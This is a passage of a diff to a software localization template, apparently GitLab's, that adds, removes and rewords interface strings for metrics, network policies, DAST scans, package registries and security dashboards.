@@ -15254,6 +15684,9 @@ msgstr ""
msgid "Metrics|Min"
msgstr ""
+msgid "Metrics|More actions"
+msgstr ""
+
msgid "Metrics|Must be a valid PromQL query."
msgstr ""
@@ -15278,6 +15711,9 @@ msgstr ""
msgid "Metrics|Prometheus Query Documentation"
msgstr ""
+msgid "Metrics|Refresh Prometheus data"
+msgstr ""
+
msgid "Metrics|Refresh dashboard"
msgstr ""
@@ -15356,6 +15792,9 @@ msgstr ""
msgid "Metrics|View logs"
msgstr ""
+msgid "Metrics|View runbook - %{label}"
+msgstr ""
+
msgid "Metrics|Y-axis label"
msgstr ""
@@ -15406,12 +15845,18 @@ msgid_plural "Milestones"
msgstr[0] ""
msgstr[1] ""
+msgid "Milestone does not support burnup charts"
+msgstr ""
+
msgid "Milestone lists not available with your current license"
msgstr ""
msgid "Milestone lists show all issues from the selected milestone."
msgstr ""
+msgid "Milestone must have a start and due date"
+msgstr ""
+
msgid "MilestoneSidebar|Closed:"
msgstr ""
@@ -15577,6 +16022,15 @@ msgstr ""
msgid "Mirroring will only be available if the feature is included in the plan of the selected group or user."
msgstr ""
+msgid "Missing OAuth configuration for GitHub."
+msgstr ""
+
+msgid "Missing OS"
+msgstr ""
+
+msgid "Missing arch"
+msgstr ""
+
msgid "Missing commit signatures endpoint!"
msgstr ""
@@ -15622,6 +16076,9 @@ msgstr ""
msgid "Monitoring"
msgstr ""
+msgid "Month"
+msgstr ""
+
msgid "Months"
msgstr ""
@@ -15811,12 +16268,45 @@ msgstr ""
msgid "Network Policy|New rule"
msgstr ""
+msgid "NetworkPolicies|%{ifLabelStart}if%{ifLabelEnd} %{ruleType} %{isLabelStart}is%{isLabelEnd} %{ruleDirection} %{ruleSelector} %{directionLabelStart}and is inbound from a%{directionLabelEnd} %{rule} %{portsLabelStart}on%{portsLabelEnd} %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|%{ifLabelStart}if%{ifLabelEnd} %{ruleType} %{isLabelStart}is%{isLabelEnd} %{ruleDirection} %{ruleSelector} %{directionLabelStart}and is outbound to a%{directionLabelEnd} %{rule} %{portsLabelStart}on%{portsLabelEnd} %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|%{labelStart}Then%{labelEnd} %{action} %{spanStart}the network traffic.%{spanEnd}"
+msgstr ""
+
+msgid "NetworkPolicies|%{number} selected"
+msgstr ""
+
+msgid "NetworkPolicies|%{strongOpen}all%{strongClose} pods"
+msgstr ""
+
+msgid "NetworkPolicies|%{strongOpen}any%{strongClose} port"
+msgstr ""
+
+msgid "NetworkPolicies|.yaml"
+msgstr ""
+
msgid "NetworkPolicies|.yaml mode"
msgstr ""
msgid "NetworkPolicies|Actions"
msgstr ""
+msgid "NetworkPolicies|All selected"
+msgstr ""
+
+msgid "NetworkPolicies|Allow"
+msgstr ""
+
+msgid "NetworkPolicies|Allow all inbound traffic to %{selector} from %{ruleSelector} on %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|Allow all outbound traffic from %{selector} to %{ruleSelector} on %{ports}"
+msgstr ""
+
msgid "NetworkPolicies|Choose whether to enforce this policy."
msgstr ""
@@ -15826,6 +16316,9 @@ msgstr ""
msgid "NetworkPolicies|Define this policy's location, conditions and actions."
msgstr ""
+msgid "NetworkPolicies|Deny all traffic"
+msgstr ""
+
msgid "NetworkPolicies|Description"
msgstr ""
@@ -15838,6 +16331,9 @@ msgstr ""
msgid "NetworkPolicies|Environment does not have deployment platform"
msgstr ""
+msgid "NetworkPolicies|IP/subnet"
+msgstr ""
+
msgid "NetworkPolicies|If you are using Auto DevOps, your %{monospacedStart}auto-deploy-values.yaml%{monospacedEnd} file will not be updated if you change a policy in this section. Auto DevOps users should make changes by following the %{linkStart}Container Network Policy documentation%{linkEnd}."
msgstr ""
@@ -15856,12 +16352,18 @@ msgstr ""
msgid "NetworkPolicies|Network Policy"
msgstr ""
+msgid "NetworkPolicies|Network traffic"
+msgstr ""
+
msgid "NetworkPolicies|New policy"
msgstr ""
msgid "NetworkPolicies|No policies detected"
msgstr ""
+msgid "NetworkPolicies|None selected"
+msgstr ""
+
msgid "NetworkPolicies|Policies are a specification of how groups of pods are allowed to communicate with each other's network endpoints."
msgstr ""
@@ -15886,9 +16388,15 @@ msgstr ""
msgid "NetworkPolicies|Policy type"
msgstr ""
+msgid "NetworkPolicies|Rule"
+msgstr ""
+
msgid "NetworkPolicies|Rule mode"
msgstr ""
+msgid "NetworkPolicies|Rule mode is unavailable for this policy. In some cases, we cannot parse the YAML file back into the rules editor."
+msgstr ""
+
msgid "NetworkPolicies|Rules"
msgstr ""
@@ -15901,9 +16409,54 @@ msgstr ""
msgid "NetworkPolicies|Status"
msgstr ""
+msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
+msgstr ""
+
msgid "NetworkPolicies|YAML editor"
msgstr ""
+msgid "NetworkPolicies|all DNS names"
+msgstr ""
+
+msgid "NetworkPolicies|all IP addresses"
+msgstr ""
+
+msgid "NetworkPolicies|any pod"
+msgstr ""
+
+msgid "NetworkPolicies|any port"
+msgstr ""
+
+msgid "NetworkPolicies|domain name"
+msgstr ""
+
+msgid "NetworkPolicies|entity"
+msgstr ""
+
+msgid "NetworkPolicies|inbound to"
+msgstr ""
+
+msgid "NetworkPolicies|nowhere"
+msgstr ""
+
+msgid "NetworkPolicies|outbound from"
+msgstr ""
+
+msgid "NetworkPolicies|pod with labels"
+msgstr ""
+
+msgid "NetworkPolicies|pods %{pods}"
+msgstr ""
+
+msgid "NetworkPolicies|pods with labels"
+msgstr ""
+
+msgid "NetworkPolicies|ports %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|ports/protocols"
+msgstr ""
+
msgid "Never"
msgstr ""
@@ -16296,12 +16849,18 @@ msgstr ""
msgid "No required pipeline"
msgstr ""
+msgid "No runner executable"
+msgstr ""
+
msgid "No runners found"
msgstr ""
msgid "No schedules"
msgstr ""
+msgid "No source selected"
+msgstr ""
+
msgid "No stack trace for this error"
msgstr ""
@@ -16389,18 +16948,12 @@ msgstr ""
msgid "Not started"
msgstr ""
-msgid "Not-confidential epic cannot be assigned to a confidential parent epic"
-msgstr ""
-
msgid "Note"
msgstr ""
msgid "Note parameters are invalid: %{errors}"
msgstr ""
-msgid "Note that PostgreSQL %{pg_version_upcoming} will become the minimum required version in GitLab %{gl_version_upcoming} (%{gl_version_upcoming_date}). Please consider upgrading your environment to a supported PostgreSQL version soon, see <a href=\"%{pg_version_upcoming_url}\">the related epic</a> for details."
-msgstr ""
-
msgid "Note that this invitation was sent to %{mail_to_invite_email}, but you are signed in as %{link_to_current_user} with email %{mail_to_current_user}."
msgstr ""
@@ -16548,9 +17101,6 @@ msgstr ""
msgid "Novice"
msgstr ""
-msgid "Now you can access the merge request navigation tabs at the top, where they’re easier to find."
-msgstr ""
-
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
@@ -16590,9 +17140,6 @@ msgstr ""
msgid "Number of files touched"
msgstr ""
-msgid "OAuth configuration for GitHub missing."
-msgstr ""
-
msgid "OK"
msgstr ""
@@ -16635,21 +17182,27 @@ msgstr ""
msgid "OnDemandScans|Attached branch is where the scan job runs."
msgstr ""
+msgid "OnDemandScans|Could not fetch site profiles. Please refresh the page, or try again later."
+msgstr ""
+
msgid "OnDemandScans|Could not run the scan. Please try again."
msgstr ""
-msgid "OnDemandScans|Could not run the scan: %{backendErrorMessage}"
+msgid "OnDemandScans|Create a new site profile"
msgstr ""
msgid "OnDemandScans|Create new DAST scan"
msgstr ""
-msgid "OnDemandScans|DAST will scan the target URL and any discovered sub URLs."
+msgid "OnDemandScans|Manage profiles"
msgstr ""
msgid "OnDemandScans|New on-demand DAST scan"
msgstr ""
+msgid "OnDemandScans|No profile yet. In order to create a new scan, you need to have at least one completed site profile."
+msgstr ""
+
msgid "OnDemandScans|On-demand Scans"
msgstr ""
@@ -16659,25 +17212,31 @@ msgstr ""
msgid "OnDemandScans|Only a passive scan can be performed on demand."
msgstr ""
-msgid "OnDemandScans|Passive DAST Scan"
+msgid "OnDemandScans|Passive"
msgstr ""
-msgid "OnDemandScans|Please enter a valid URL format, ex: http://www.example.com/home"
+msgid "OnDemandScans|Run scan"
msgstr ""
-msgid "OnDemandScans|Run this scan"
+msgid "OnDemandScans|Scan mode"
msgstr ""
-msgid "OnDemandScans|Scan mode"
+msgid "OnDemandScans|Scanner settings"
msgstr ""
msgid "OnDemandScans|Schedule or run scans immediately against target sites. Currently available on-demand scan type: DAST. %{helpLinkStart}More information%{helpLinkEnd}"
msgstr ""
-msgid "OnDemandScans|Target URL"
+msgid "OnDemandScans|Select one of the existing profiles"
+msgstr ""
+
+msgid "OnDemandScans|Site profiles"
+msgstr ""
+
+msgid "OnDemandScans|Use existing site profile"
msgstr ""
-msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its respositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
+msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
msgstr ""
msgid "Once a project is permanently deleted it cannot be recovered. You will lose this project's repository and all content: issues, merge requests etc."
@@ -16736,9 +17295,6 @@ msgstr ""
msgid "Only active this projects shows up in the search and on the dashboard."
msgstr ""
-msgid "Only admins"
-msgstr ""
-
msgid "Only admins can delete project"
msgstr ""
@@ -16757,6 +17313,9 @@ msgstr ""
msgid "Only project members will be imported. Group members will be skipped."
msgstr ""
+msgid "Only projects created under a Gold license are available in Security Dashboards."
+msgstr ""
+
msgid "Only verified users with an email address in any of these domains can be added to the group."
msgstr ""
@@ -16772,9 +17331,15 @@ msgstr ""
msgid "Open Selection"
msgstr ""
+msgid "Open Web IDE"
+msgstr ""
+
msgid "Open comment type dropdown"
msgstr ""
+msgid "Open epics"
+msgstr ""
+
msgid "Open errors"
msgstr ""
@@ -16895,18 +17460,12 @@ msgstr ""
msgid "Outbound requests"
msgstr ""
-msgid "OutdatedBrowser|From May 2020 GitLab no longer supports Internet Explorer 11."
-msgstr ""
-
msgid "OutdatedBrowser|GitLab may not work properly, because you are using an outdated web browser."
msgstr ""
msgid "OutdatedBrowser|Please install a %{browser_link_start}supported web browser%{browser_link_end} for a better experience."
msgstr ""
-msgid "OutdatedBrowser|You can provide feedback %{feedback_link_start}on this issue%{feedback_link_end} or via your usual support channels."
-msgstr ""
-
msgid "Outdent"
msgstr ""
@@ -16940,9 +17499,6 @@ msgstr ""
msgid "Package deleted successfully"
msgstr ""
-msgid "Package information"
-msgstr ""
-
msgid "Package recipe already exists"
msgstr ""
@@ -17027,6 +17583,12 @@ msgstr ""
msgid "PackageRegistry|Copy npm setup command"
msgstr ""
+msgid "PackageRegistry|Copy registry include"
+msgstr ""
+
+msgid "PackageRegistry|Copy require package include"
+msgstr ""
+
msgid "PackageRegistry|Copy yarn command"
msgstr ""
@@ -17042,6 +17604,9 @@ msgstr ""
msgid "PackageRegistry|Filter by name"
msgstr ""
+msgid "PackageRegistry|For more information on Composer packages in GitLab, %{linkStart}see the documentation.%{linkEnd}"
+msgstr ""
+
msgid "PackageRegistry|For more information on the Conan registry, %{linkStart}see the documentation%{linkEnd}."
msgstr ""
@@ -17060,9 +17625,6 @@ msgstr ""
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}pom.xml%{codeEnd} file."
msgstr ""
-msgid "PackageRegistry|Installation"
-msgstr ""
-
msgid "PackageRegistry|Is your favorite package manager missing? We'd love your help in building first-class support for it into GitLab! %{contributionLinkStart}Visit the contribution documentation%{contributionLinkEnd} to learn more about how to build support for new package managers into GitLab. Below is a list of package managers that are on our radar."
msgstr ""
@@ -17099,27 +17661,18 @@ msgstr ""
msgid "PackageRegistry|Pip Command"
msgstr ""
-msgid "PackageRegistry|Pipeline %{linkStart}%{linkEnd} triggered %{timestamp} by %{author}"
-msgstr ""
-
msgid "PackageRegistry|Pipeline %{link} triggered %{datetime} by %{author}"
msgstr ""
msgid "PackageRegistry|Published to the %{project} Package Registry %{datetime}"
msgstr ""
-msgid "PackageRegistry|Published to the repository at %{timestamp}"
-msgstr ""
-
msgid "PackageRegistry|PyPi"
msgstr ""
msgid "PackageRegistry|Recipe: %{recipe}"
msgstr ""
-msgid "PackageRegistry|Registry Setup"
-msgstr ""
-
msgid "PackageRegistry|Remove package"
msgstr ""
@@ -17168,13 +17721,19 @@ msgstr ""
msgid "PackageRegistry|You may also need to setup authentication using an auth token. %{linkStart}See the documentation%{linkEnd} to find out more."
msgstr ""
-msgid "PackageRegistry|npm"
+msgid "PackageRegistry|composer.json registry include"
+msgstr ""
+
+msgid "PackageRegistry|composer.json require package include"
+msgstr ""
+
+msgid "PackageRegistry|npm command"
msgstr ""
msgid "PackageRegistry|published by %{author}"
msgstr ""
-msgid "PackageRegistry|yarn"
+msgid "PackageRegistry|yarn command"
msgstr ""
msgid "PackageType|Composer"
@@ -17318,7 +17877,7 @@ msgstr ""
msgid "Password successfully changed"
msgstr ""
-msgid "Password was successfully updated. Please login with it"
+msgid "Password was successfully updated. Please sign in again."
msgstr ""
msgid "Passwords should be unique and not used for any other sites or services."
@@ -17822,6 +18381,9 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please contact your administrator with any questions."
+msgstr ""
+
msgid "Please contact your administrator."
msgstr ""
@@ -17975,13 +18537,13 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on a project’s overview page."
msgstr ""
-msgid "Preferences|Customize integrations with third party services."
+msgid "Preferences|Choose what content you want to see on your homepage."
msgstr ""
-msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
+msgid "Preferences|Customize integrations with third party services."
msgstr ""
-msgid "Preferences|Default dashboard"
+msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
msgstr ""
msgid "Preferences|Display time in 24-hour format"
@@ -17993,6 +18555,9 @@ msgstr ""
msgid "Preferences|For example: 30 mins ago."
msgstr ""
+msgid "Preferences|Homepage content"
+msgstr ""
+
msgid "Preferences|Instead of all the files changed, show only one file at a time. To switch between files, use the file browser."
msgstr ""
@@ -18284,15 +18849,9 @@ msgstr ""
msgid "Profiles|Default notification email"
msgstr ""
-msgid "Profiles|Delete Account"
-msgstr ""
-
msgid "Profiles|Delete account"
msgstr ""
-msgid "Profiles|Delete your account?"
-msgstr ""
-
msgid "Profiles|Deleting an account has the following effects:"
msgstr ""
@@ -18683,6 +19242,9 @@ msgstr ""
msgid "Project visibility level will be changed to match namespace rules when transferring to a group."
msgstr ""
+msgid "Project was not found or you do not have permission to add this project to Security Dashboards."
+msgstr ""
+
msgid "Project: %{name}"
msgstr ""
@@ -18707,6 +19269,9 @@ msgstr ""
msgid "ProjectFileTree|Name"
msgstr ""
+msgid "ProjectFileTree|Show more"
+msgstr ""
+
msgid "ProjectLastActivity|Never"
msgstr ""
@@ -19298,7 +19863,7 @@ msgstr ""
msgid "PrometheusAlerts|Operator"
msgstr ""
-msgid "PrometheusAlerts|Runbook"
+msgid "PrometheusAlerts|Runbook URL (optional)"
msgstr ""
msgid "PrometheusAlerts|Select query"
@@ -19307,10 +19872,19 @@ msgstr ""
msgid "PrometheusAlerts|Threshold"
msgstr ""
-msgid "PrometheusService|%{exporters} with %{metrics} were found"
+msgid "PrometheusAlerts|exceeded"
+msgstr ""
+
+msgid "PrometheusAlerts|https://gitlab.com/gitlab-com/runbooks"
+msgstr ""
+
+msgid "PrometheusAlerts|is equal to"
msgstr ""
-msgid "PrometheusService|<p class=\"text-tertiary\">No <a href=\"%{docsUrl}\">common metrics</a> were found</p>"
+msgid "PrometheusAlerts|is less than"
+msgstr ""
+
+msgid "PrometheusService|%{exporters} with %{metrics} were found"
msgstr ""
msgid "PrometheusService|Active"
@@ -19370,6 +19944,9 @@ msgstr ""
msgid "PrometheusService|New metric"
msgstr ""
+msgid "PrometheusService|No %{docsUrlStart}common metrics%{docsUrlEnd} were found"
+msgstr ""
+
msgid "PrometheusService|No custom metrics have been created. Create one using the button above"
msgstr ""
@@ -19424,6 +20001,9 @@ msgstr ""
msgid "Promoted issue to an epic."
msgstr ""
+msgid "Promotion is not supported."
+msgstr ""
+
msgid "Promotions|Burndown Charts are visual representations of the progress of completing a milestone. At a glance, you see the current state for the completion a given milestone. Without them, you would have to organize the data from the milestone and plot it yourself to have the same sense of progress."
msgstr ""
@@ -19505,6 +20085,9 @@ msgstr ""
msgid "Prompt users to upload SSH keys"
msgstr ""
+msgid "Protect"
+msgstr ""
+
msgid "Protect variable"
msgstr ""
@@ -19835,9 +20418,6 @@ msgstr ""
msgid "Recent searches"
msgstr ""
-msgid "Recipe"
-msgstr ""
-
msgid "Reconfigure"
msgstr ""
@@ -19933,6 +20513,9 @@ msgstr ""
msgid "Registration|Your profile"
msgstr ""
+msgid "Registry setup"
+msgstr ""
+
msgid "Regulate approvals by authors/committers, based on compliance frameworks. Can be changed only at the instance level."
msgstr ""
@@ -20025,6 +20608,9 @@ msgstr ""
msgid "Releases|New Release"
msgstr ""
+msgid "Release|Something went wrong while creating a new release"
+msgstr ""
+
msgid "Release|Something went wrong while getting the release details"
msgstr ""
@@ -20067,6 +20653,9 @@ msgstr ""
msgid "Remove all or specific label(s)"
msgstr ""
+msgid "Remove approver"
+msgstr ""
+
msgid "Remove approvers"
msgstr ""
@@ -20136,9 +20725,6 @@ msgstr ""
msgid "Remove priority"
msgstr ""
-msgid "Remove project"
-msgstr ""
-
msgid "Remove secondary node"
msgstr ""
@@ -20172,9 +20758,6 @@ msgstr ""
msgid "Removed %{type} with id %{id}"
msgstr ""
-msgid "Removed Projects"
-msgstr ""
-
msgid "Removed all labels."
msgstr ""
@@ -20187,12 +20770,6 @@ msgstr ""
msgid "Removed parent epic %{epic_ref}."
msgstr ""
-msgid "Removed projects"
-msgstr ""
-
-msgid "Removed projects cannot be restored!"
-msgstr ""
-
msgid "Removed spent time."
msgstr ""
@@ -20241,15 +20818,9 @@ msgstr ""
msgid "Removes time estimate."
msgstr ""
-msgid "Removing a project places it into a read-only state until %{date}, at which point the project will be permanently removed. Are you ABSOLUTELY sure?"
-msgstr ""
-
msgid "Removing license…"
msgstr ""
-msgid "Removing the project will delete its repository and all related resources including issues, merge requests etc."
-msgstr ""
-
msgid "Removing this group also removes all child projects, including archived projects, and their resources."
msgstr ""
@@ -20432,9 +21003,6 @@ msgstr ""
msgid "Repository Settings"
msgstr ""
-msgid "Repository URL"
-msgstr ""
-
msgid "Repository check"
msgstr ""
@@ -20622,9 +21190,15 @@ msgstr ""
msgid "Resolve all threads in new issue"
msgstr ""
+msgid "Resolve conflicts"
+msgstr ""
+
msgid "Resolve conflicts on source branch"
msgstr ""
+msgid "Resolve these conflicts or ask someone with write access to this repository to merge it locally."
+msgstr ""
+
msgid "Resolve thread"
msgstr ""
@@ -20804,6 +21378,9 @@ msgstr ""
msgid "Rook"
msgstr ""
+msgid "Rule name is already taken."
+msgstr ""
+
msgid "Rules that define what git pushes are accepted for a project in this group. All newly created projects in this group will use these settings."
msgstr ""
@@ -20816,6 +21393,9 @@ msgstr ""
msgid "Run housekeeping"
msgstr ""
+msgid "Run manual or delayed jobs"
+msgstr ""
+
msgid "Run tests against your code live using the Web Terminal"
msgstr ""
@@ -20942,6 +21522,9 @@ msgstr ""
msgid "Save Changes"
msgstr ""
+msgid "Save Push Rules"
+msgstr ""
+
msgid "Save anyway"
msgstr ""
@@ -20972,6 +21555,9 @@ msgstr ""
msgid "Save variables"
msgstr ""
+msgid "Saved scan settings and target site settings which are reusable."
+msgstr ""
+
msgid "Saving"
msgstr ""
@@ -21020,6 +21606,9 @@ msgstr ""
msgid "Scopes can't be blank"
msgstr ""
+msgid "Score"
+msgstr ""
+
msgid "Scroll down"
msgstr ""
@@ -21062,6 +21651,9 @@ msgstr ""
msgid "Search branches and tags"
msgstr ""
+msgid "Search branches, tags, and commits"
+msgstr ""
+
msgid "Search by Git revision"
msgstr ""
@@ -21259,6 +21851,9 @@ msgstr ""
msgid "Secondary"
msgstr ""
+msgid "Seconds"
+msgstr ""
+
msgid "Secret"
msgstr ""
@@ -21286,13 +21881,37 @@ msgstr ""
msgid "Security report is out of date. Run %{newPipelineLinkStart}a new pipeline%{newPipelineLinkEnd} for the target branch (%{targetBranchName})"
msgstr ""
+msgid "SecurityApprovals|License Scanning must be enabled. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|One or more of the security scanners must be enabled. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|Requires approval for vulnerabilties of Critical, High, or Unknown severity. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|Requires license policy rules for licenses of Allowed, or Denied. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
+msgid "SecurityConfiguration|Available for on-demand DAST"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
-msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. More advanced configuration options exist, which you can add to the configuration file this tool generates. It's important to note that if you make any configurations, they will be saved as overrides and will be %{strongStart}excluded from automatic updates%{strongEnd}."
+msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "SecurityConfiguration|Create Merge Request"
+msgstr ""
+
+msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{linkStart}GitLab SAST documentation%{linkEnd}."
+msgstr ""
+
+msgid "SecurityConfiguration|Enable"
msgstr ""
msgid "SecurityConfiguration|Enable via Merge Request"
@@ -21313,6 +21932,9 @@ msgstr ""
msgid "SecurityConfiguration|Not enabled"
msgstr ""
+msgid "SecurityConfiguration|SAST Configuration"
+msgstr ""
+
msgid "SecurityConfiguration|Security Control"
msgstr ""
@@ -21340,7 +21962,7 @@ msgstr ""
msgid "SecurityReports|Add a project to your dashboard"
msgstr ""
-msgid "SecurityReports|Add or remove projects from your dashboard"
+msgid "SecurityReports|Add or remove projects to monitor in the security area. Projects included in this list will have their results displayed in the security dashboard and vulnerability report."
msgstr ""
msgid "SecurityReports|Add projects"
@@ -21376,13 +21998,10 @@ msgstr ""
msgid "SecurityReports|Download Report"
msgstr ""
-msgid "SecurityReports|Each vulnerability now has a unique page that can be directly linked to, shared, referenced, and tracked as the single source of truth. Vulnerability occurrences also persist across scanner runs, which improves tracking and visibility and reduces duplicates between scans."
-msgstr ""
-
-msgid "SecurityReports|Edit dashboard"
+msgid "SecurityReports|Either you don't have permission to view this dashboard or the dashboard has not been setup. Please check your permission settings with your administrator or check your dashboard configurations to proceed."
msgstr ""
-msgid "SecurityReports|Either you don't have permission to view this dashboard or the dashboard has not been setup. Please check your permission settings with your administrator or check your dashboard configurations to proceed."
+msgid "SecurityReports|Ensure that %{trackingStart}issue tracking%{trackingEnd} is enabled for this project and you have %{permissionsStart}permission to create new issues%{permissionsEnd}."
msgstr ""
msgid "SecurityReports|Error fetching the vulnerability counts. Please check your network connection and try again."
@@ -21397,19 +22016,13 @@ msgstr ""
msgid "SecurityReports|Fuzzing artifacts"
msgstr ""
-msgid "SecurityReports|Group Security Dashboard"
-msgstr ""
-
msgid "SecurityReports|Hide dismissed"
msgstr ""
-msgid "SecurityReports|Introducing standalone vulnerabilities"
-msgstr ""
-
msgid "SecurityReports|Issue Created"
msgstr ""
-msgid "SecurityReports|Learn more"
+msgid "SecurityReports|Issues created from a vulnerability cannot be removed."
msgstr ""
msgid "SecurityReports|Learn more about setting up your dashboard"
@@ -21421,6 +22034,9 @@ msgstr ""
msgid "SecurityReports|Monitor vulnerabilities in your code"
msgstr ""
+msgid "SecurityReports|Monitored projects"
+msgstr ""
+
msgid "SecurityReports|More info"
msgstr ""
@@ -21439,13 +22055,13 @@ msgstr ""
msgid "SecurityReports|Project"
msgstr ""
-msgid "SecurityReports|Projects added"
+msgid "SecurityReports|Project was not found or you do not have permission to add this project to Security Dashboards."
msgstr ""
-msgid "SecurityReports|Remove project from dashboard"
+msgid "SecurityReports|Projects added"
msgstr ""
-msgid "SecurityReports|Return to dashboard"
+msgid "SecurityReports|Remove project from dashboard"
msgstr ""
msgid "SecurityReports|Scan details"
@@ -21517,7 +22133,7 @@ msgstr ""
msgid "SecurityReports|To widen your search, change or remove filters above"
msgstr ""
-msgid "SecurityReports|Unable to add %{invalidProjectsMessage}"
+msgid "SecurityReports|Unable to add %{invalidProjectsMessage}: %{errorMessage}"
msgstr ""
msgid "SecurityReports|Unable to add %{invalidProjects}"
@@ -21526,6 +22142,9 @@ msgstr ""
msgid "SecurityReports|Undo dismiss"
msgstr ""
+msgid "SecurityReports|Vulnerability Report"
+msgstr ""
+
msgid "SecurityReports|While it's rare to have no vulnerabilities for your pipeline, it can happen. In any event, we ask that you double check your settings to make sure all security scanning jobs have passed successfully."
msgstr ""
@@ -21556,9 +22175,6 @@ msgstr ""
msgid "See what's new at GitLab"
msgstr ""
-msgid "See your pipeline in action"
-msgstr ""
-
msgid "Select"
msgstr ""
@@ -21682,6 +22298,9 @@ msgstr ""
msgid "Select shards to replicate"
msgstr ""
+msgid "Select source"
+msgstr ""
+
msgid "Select source branch"
msgstr ""
@@ -21712,6 +22331,9 @@ msgstr ""
msgid "Select timezone"
msgstr ""
+msgid "Select type"
+msgstr ""
+
msgid "Select user"
msgstr ""
@@ -21901,6 +22523,12 @@ msgstr ""
msgid "Service Desk is enabled but not yet active"
msgstr ""
+msgid "Service Desk is not enabled"
+msgstr ""
+
+msgid "Service Desk is not supported"
+msgstr ""
+
msgid "Service Templates"
msgstr ""
@@ -21913,6 +22541,12 @@ msgstr ""
msgid "Set %{epic_ref} as the parent epic."
msgstr ""
+msgid "Set .gitlab-ci.yml to enable or configure SAST"
+msgstr ""
+
+msgid "Set .gitlab-ci.yml to enable or configure SAST security scanning using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
+msgstr ""
+
msgid "Set a default template for issue descriptions."
msgstr ""
@@ -22229,19 +22863,19 @@ msgstr ""
msgid "Showing %{pageSize} of %{total} issues"
msgstr ""
-msgid "Showing Latest Version"
+msgid "Showing all issues"
msgstr ""
-msgid "Showing Version #%{versionNumber}"
+msgid "Showing graphs based on events of the last %{timerange} days."
msgstr ""
-msgid "Showing all issues"
+msgid "Showing last %{size} of log -"
msgstr ""
-msgid "Showing graphs based on events of the last %{timerange} days."
+msgid "Showing latest version"
msgstr ""
-msgid "Showing last %{size} of log -"
+msgid "Showing version #%{versionNumber}"
msgstr ""
msgid "Side-by-side"
@@ -22337,6 +22971,9 @@ msgstr ""
msgid "Similar issues"
msgstr ""
+msgid "Simulate a pipeline created for the default branch"
+msgstr ""
+
msgid "Single or combined queries"
msgstr ""
@@ -22379,7 +23016,7 @@ msgstr ""
msgid "SlackIntegration|Select events below to enable notifications. The %{strong_open}Slack channel names%{strong_close} and %{strong_open}Slack username%{strong_close} fields are optional."
msgstr ""
-msgid "SlackIntegration|This service send notifications about projects' events to Slack channels. To set up this service:"
+msgid "SlackIntegration|This service sends notifications about project events to Slack channels. To set up this service:"
msgstr ""
msgid "SlackService|2. Paste the %{strong_open}Token%{strong_close} into the field below"
@@ -22430,12 +23067,21 @@ msgstr ""
msgid "SnippetsEmptyState|There are no snippets to show."
msgstr ""
+msgid "Snippets|Add another file %{num}/%{total}"
+msgstr ""
+
+msgid "Snippets|Delete file"
+msgstr ""
+
msgid "Snippets|Description (optional)"
msgstr ""
msgid "Snippets|File"
msgstr ""
+msgid "Snippets|Files"
+msgstr ""
+
msgid "Snippets|Give your file a name to add code highlighting, e.g. example.rb for Ruby"
msgstr ""
@@ -22493,6 +23139,9 @@ msgstr ""
msgid "Something went wrong trying to change the locked state of this %{issuableDisplayName}"
msgstr ""
+msgid "Something went wrong when reordering designs. Please try again"
+msgstr ""
+
msgid "Something went wrong when toggling the button"
msgstr ""
@@ -22622,10 +23271,10 @@ msgstr ""
msgid "Something went wrong, unable to add projects to dashboard"
msgstr ""
-msgid "Something went wrong, unable to get projects"
+msgid "Something went wrong, unable to delete project"
msgstr ""
-msgid "Something went wrong, unable to remove project"
+msgid "Something went wrong, unable to get projects"
msgstr ""
msgid "Something went wrong, unable to search projects"
@@ -23522,6 +24171,9 @@ msgstr ""
msgid "Switch to the source to copy the file contents"
msgstr ""
+msgid "Symbolic link"
+msgstr ""
+
msgid "Sync information"
msgstr ""
@@ -23570,6 +24222,9 @@ msgstr ""
msgid "Tag name"
msgstr ""
+msgid "Tag name is required"
+msgstr ""
+
msgid "Tag this commit."
msgstr ""
@@ -23582,6 +24237,9 @@ msgstr ""
msgid "Tags"
msgstr ""
+msgid "Tags are deleted until the timeout is reached. Any remaining tags are included the next time the policy runs. To remove the time limit, set it to 0."
+msgstr ""
+
msgid "Tags feed"
msgstr ""
@@ -23763,6 +24421,12 @@ msgstr ""
msgid "Test"
msgstr ""
+msgid "Test Cases"
+msgstr ""
+
+msgid "Test cases are not available for this project"
+msgstr ""
+
msgid "Test coverage parsing"
msgstr ""
@@ -23831,9 +24495,6 @@ msgstr ""
msgid "TestReports|There was an error fetching the summary."
msgstr ""
-msgid "TestReports|There was an error fetching the test reports."
-msgstr ""
-
msgid "TestReports|There was an error fetching the test suite."
msgstr ""
@@ -23870,15 +24531,12 @@ msgstr ""
msgid "The %{link_start}true-up model%{link_end} allows having more users, and additional users will incur a retroactive charge on renewal."
msgstr ""
